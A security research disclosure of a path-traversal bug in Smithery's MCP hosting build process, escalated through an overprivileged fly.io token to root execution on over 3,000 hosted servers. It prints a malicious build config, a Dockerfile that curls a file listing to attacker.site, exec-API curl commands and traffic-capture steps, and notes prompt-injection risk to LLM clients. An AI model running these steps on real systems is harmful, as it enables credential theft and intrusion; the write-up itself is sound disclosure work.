TL;DR

We discovered a vulnerability in a popular MCP server hosting service that compromised thousands of AI servers and their associated credentials. Here's what happened and why it matters:

  • A simple configuration bug allowed attackers to access sensitive files on the registry’s infrastructure, leading to the theft of overprivileged administrative credentials.
  • These stolen credentials provided access to over 3,000 hosted AI servers, enabling the theft of API keys and secrets from potentially thousands of customers across hundreds of services.
  • The vulnerability was quickly patched after responsible disclosure, and no evidence of exploitation was found.
  • Why this matters: Centralized AI infrastructure creates high-value targets where a single vulnerability can compromise entire ecosystems.

MCP Hosting and Threat Modeling

The Model Context Protocol (MCP) enables AI applications to connect with external tools and data sources through server implementations. Those servers generally fall into two main categories:

  • Local: Where the servers provide access to local resources, such as the local filesystem of the command line.
  • Remote: When the servers provide access to remote resources such as databases or API providers.

Remote servers can also be split into two categories depending on where and how they are hosted:

  • On-premise/self-hosted: Where the remote server is hosted on the user’s own infrastructure or even on their own local machine.
  • Fully remote: Where the resource providers directly host the servers. It is, for example, the case with the Sentry MCP server that is hosted at mcp.sentry.dev.

Each of those hosting models has its own specificities and, from a security perspective, its own threat model and set of MCP best practices.

Among those models, Smithery.ai, an early-day MCP server registry, implements a hybrid approach: the registry itself will host remote servers that would have otherwise been self-hosted. This approach makes it easier than ever to deploy and use an MCP server. However, it also presents unique challenges on the threat modeling side, as the magnitude of a security incident on the hoster’s side can significantly increase due to the number of hosted servers and the vast range of features and resources it provides access to.

While studying Smithery’s hosted servers for a previous research project, we uncovered a critical security issue in the registry’s software that illustrates this increased risk.

Compromising Smithery’s hosting feature

Smithery relies heavily on GitHub to manage the source code for its hosted servers. To submit a server to the registry, users create a GitHub repository containing the server’s code and the required registry-specific configuration files.

The registry then builds the servers into Docker images that it then uses to host the server and expose it to clients. This leaves the MCP servers' contributors with control over the Docker build configuration that is executed on the registry side, opening an important attack surface.

Server build configuration

When building a server in the Docker hosting model, Smithery expects the server repository to contain a smithery.yaml configuration file. A legitimate configuration file contains a few properties:

runtime: "container"
build:
  dockerfile: "Dockerfile"           # Path to your Dockerfile
  dockerBuildPath: "."               # Docker build context
startCommand:
  type: "http"
  configSchema:                      # JSON Schema for configuration
    type: "object"
    properties:
      apiKey:
        type: "string"
        description: "Your API key"
    required: ["apiKey"]
  exampleConfig:
    apiKey: "sk-example123"

The most interesting part of this configuration is the build section that contains the information required by Smithery to build the server. There are only two required properties in this section:

  • dockerBuildPath: The path to the Docker build context inside the repository.
  • dockerfile: The path to the Dockerfile to use inside the build context.

Later in the build process, Smithery will copy the context directory to the Docker daemon, along with the Dockerfile. The daemon will then build the image, which will then be run to provide the server's features to the clients.

The Dockerfile content is server-specific and does not need to contain any Smithery-related instructions.

A Path Traversal issue

The main problem with the build process is that the dockerBuildPath configuration value is improperly controlled. The build process accepts any value, including those that point to a location outside of the MCP server code repository.

In practice, it is possible to provide an arbitrary location on the builder machine's file system that will be used as the Docker build context. This means that the complete content of the referenced location will be sent to the Docker daemon at build time, making it accessible to instructions inside the attacker-controlled Dockerfile. In theory, this could allow reading the content of any file on the builder machine's file system and exfiltrating it to the attacker, with sensitive content disclosure threats.

However, for the attack to work, there are a few limitations to circumvent:

  • The copy of the chosen context to the Docker daemon must work. This means that the user running the Docker build must have read access to all the files in the location. Including special files or devices (like /dev/urandom) can also pose problems for the same reason.
  • The attacker-controlled Dockerfile must be located in the context location, and its path must be known in advance.

When combined, those restrictions force the build context directory to be a parent folder of the cloned server repository, in which the build user has full read permissions. Using the filesystem’s root as the build context was not an option.

We found that using ../ as the build context was a good option to exploit the issue in our case. Indeed, this directory, which proved to be the user’s home directory, contains files that should normally not be exposed to the server’s build process. It also made it simple to locate the attacker-controlled Dockerfile, in our case test/Dockerfile, where test was the name we used for the GitHub repository containing our server implementation.

The malicious smithery.yaml file we used was the following:

runtime: "container"
build:
  dockerfile: "test/Dockerfile"           # Path to your Dockerfile
  dockerBuildPath: ".."               # Docker build context
startCommand:
  type: "http"
  configSchema:                      # JSON Schema for configuration
    type: "object"
    properties:
      apiKey:
        type: "string"
        description: "Your API key"
    required: ["apiKey"]
  exampleConfig:
    apiKey: "sk-example123"

We combined this malicious configuration with the following malicious Dockerfile that exfiltrated the list of available files to an internet endpoint:

FROM alpine
RUN apk add curl
RUN mkdir /data
COPY . /data # Copy the content of the context directory to the container
RUN curl -si https://attacker.site/?d=$(find /data | base64 -w 0) # Exfiltrate the filesystem tree to internet

Triggering a build revealed the content of the build user's home directory on Smithery’s server build instance.

/data
/data/.profile
/data/.config
/data/.config/depot
/data/.bashrc
/data/.fly
/data/.fly/flyctl.cache.lock
/data/.fly/logs
/data/.fly/logs/flyctl-2025-06-10T21:22:46Z.log
/data/.fly/flyctl.config.lock
/data/workspace
/data/workspace/smithery.yaml
/data/workspace/Dockerfile
/data/workspace/README.md
/data/workspace/LICENSE
/data/workspace/fly.toml
/data/workspace/.gitignore
/data/workspace/.git
[TRUNCATED]
/data/workspace/Dockerfile.smithery
/data/.cache
/data/.cache/go
/data/.cache/go/imports
/data/.docker
/data/.docker/.token_seed
/data/.docker/.token_seed.lock
/data/.docker/config.json
/data/.docker/buildx
[TRUNCATED]

This first exfiltration revealed the presence of potentially sensitive files in the scope of the attack. In particular, an attacker could access the .docker/config.json that can contain authentication secrets.

A second exfiltration allowed the recovery of this file’s content.

{
    "auths": {
        "registry.fly.io": {
            "auth": "eDpmbTJfbE[REDACTED]E01OUJXWFA="
        }
    }
}

The Docker configuration contained a fly.io authentication token.

Escalating with overprivileged secrets

According to their official website, fly.io is "the most flexible and powerful compute platform on any public cloud," providing hardware-virtualized containers called Fly Machines. It offers a set of features to control those machines with the so-called machines API, along with convenience features for users. One of those is a Docker container registry for which the authentication token was disclosed as a result of the previous attack.

The issue with fly authentication tokens is that there is a single type of credential for both the machines API and the Docker registry. The segregation between the two only depends on the privileges associated with the secret’s related identity. This leaves room for errors and overprivileged identities.

In practice, we observed that the API token defined in the .docker/config.json file suffered from this overprivilege issue. Instead of only providing access to the fly.io Docker repository, it also granted privileges on the machines API:

$ curl -H "Authorization: Bearer fm2_lJPE[REDACTED]FSNparLM59BWXP" --url 'https://api.machines.dev/v1/apps?org_slug=smithery'
{
  "total_apps": 3243,
  "apps": [
    {
      "id": "pxovqy3ro5p9j2k6",
      "name": "sidecar",
      "machine_count": 2,
      "network": "default"
    },
    {
      "id": "pxovqy3rdky9j2k6",
      "name": "smithery-6a371696-6f71-49a2-b977-9521e125d625",
      "machine_count": 2,
      "network": "default"
    },
[...]

The compromised secret allowed access to a fly.io organization that contained more than 3000 apps. Most of those apps correspond to a hosted MCP server. Some others are used to host parts of Smithery’s service infrastructure.

Fly.io’s machine API also allows, with the appropriate privileges, to execute code in arbitrary machines in the available apps. The authentication token we previously disclosed had such privileges:

curl -s --request POST -H "Authorization: Bearer fm2_lJPE[REDACTED]FSNparLM59BWXP" --url 'https://api.machines.dev/v1/apps/smithery-6a[REDACTED]25/machines/e[REDACTED]8/exec' --data '{"cmd": "","command": ["id"],"container": "","stdin": "","timeout": 5}'
{
  "stdout": "uid=0(root) gid=0(root) groups=0(root)\n",
  "stderr": "",
  "exit_code": 0,
  "exit_signal": 0
}

All in all, the compromised fly.io API credentials allowed attackers to execute arbitrary code on any of the MCP servers hosted by Smithery, along with part of the provider’s own infrastructure.

The supply-chain risk for Smithery users

With the compromise of Smithery’s hosted MCP servers comes an important question: what are the direct consequences for the service customers? The answer depends on how MCP servers are used, which services they access, and on the attacker’s objective.

Indeed, once code execution is possible on an MCP server, this server should be considered compromised and untrusted. Considering the servers are meant to return data to the MCP client that will later be processed by an LLM, a first possible threat is prompt injection attacks. The compromised server could be used to inject malicious prompts into the MCP client and associated LLM to achieve a variety of purposes that depend on the environment of execution and could potentially range from local command execution to sensitive information disclosure. This risk has already been highlighted in past publications, exploiting the cross-server implicit trust relationship.

Another threat is the direct consequence of remote MCP servers’ requirements in terms of identities and secrets. Indeed, all the servers Smithery hosts are remote servers. They are meant to access remote resources like data sources and APIs. As such, they need to handle the secrets required to access such resources. Therefore, by controlling the MCP servers, attackers can directly interact with those secrets.

We illustrated this risk during our research by dumping the inbound network traffic from a server hosted on Smithery.

$ curl -s -X POST -H "Authorization: Bearer fm2_lJPE[REDACTED]FSNparLM59BWXP" \
  'https://api.machines.dev/v1/apps/smithery-[REDACTED]/machines/[REDACTED]/exec' \
  --data '{"cmd": "apk add tcpdump","command": [],"container": "","stdin": "","timeout": 5}'
[...]

$ curl -s --request POST -H "Authorization: Bearer fm2_lJPE[REDACTED]FSNparLM59BWXP" \
  --url 'https://api.machines.dev/v1/apps/smithery-[REDACTED]/machines/[REDACTED]/exec' \
  --data '{"cmd": "tcpdump -i eth0 -w /tmp/log tcp port 8080","command": [],"container": "","stdin": "","timeout": 5}'
[...]

The network capture result shows client requests sent to the targeted server.

A client request to the compromised server contains an API key.

The query parameters in the captured HTTP request contain the client-sent credentials:

{"braveApiKey":"BSA_[REDACTED]ei"}

The same attack method could have been applied to the more than 3000 available servers hosted on the platform. That way, the secrets of thousands of clients to hundreds of sensitive services could have been compromised.

Reflections on MCP, supply chain, and secrets

The attack we demonstrated on Smithery’s registry could have had severe consequences if exploited by malicious threat actors. Remote MCP servers are a gateway to some of the most sensitive services used by developers and companies all over the world. A concentration of servers, such as those on Smithery's platform, creates a valuable target for threat actors. Therefore, this centralization comes with additional risks.

Earlier this year, we observed the same kind of concentration exploited by active threat actors during the Salesloft supply chain attack, where the attackers took advantage of how Salesloft stored the OAuth secrets to its customers' assets. This attack strategy has significant advantages for attackers that can, in a single attack, affect hundreds of companies by abusing existing trust relationships. We will likely observe more and more attacks of this kind where companies' secrets are the main target, allowing for an easy and efficient lateral movement vector. This evolution of the threat landscape should be considered as part of the risk analysis when choosing an MCP hosting model.

The way MCP servers manage secrets is another factor that tends to amplify the impact of credential extraction from them. Contrary to the MCP best practices detailed in the official documentation of the protocol, the majority of the servers do not rely on OAuth for the authentication against the remote datasource. In most cases, as demonstrated in our attack, the authentication is performed using static, long-term credentials such as classical API keys. Doing so limits the ability to refine the privileges granted to the servers and increases the attacker's exploitation timeframe. While OAuth isn't a silver bullet defense against supply chain compromise, as the Salesloft attack showed, it can still help reduce the impact of such incidents when configured correctly.

Acknowledgment and timeline

We want to acknowledge the Smithery team's answer to our vulnerability disclosure. They reacted quickly and deployed a fix on their platform in just a few days.

Date
Jun 10, 2025 Path traversal initial discovery
Jun 13, 2025 Complete attack proof of concept ready, vulnerability disclosure to Smithery
Jun 13, 2025 Smithery acknowledgment
Jun 14, 2025 Partial fix deployed, compromised key rotated
Jun 15, 2025 Complete fix deployed
Oct 15, 2025 Issue write-up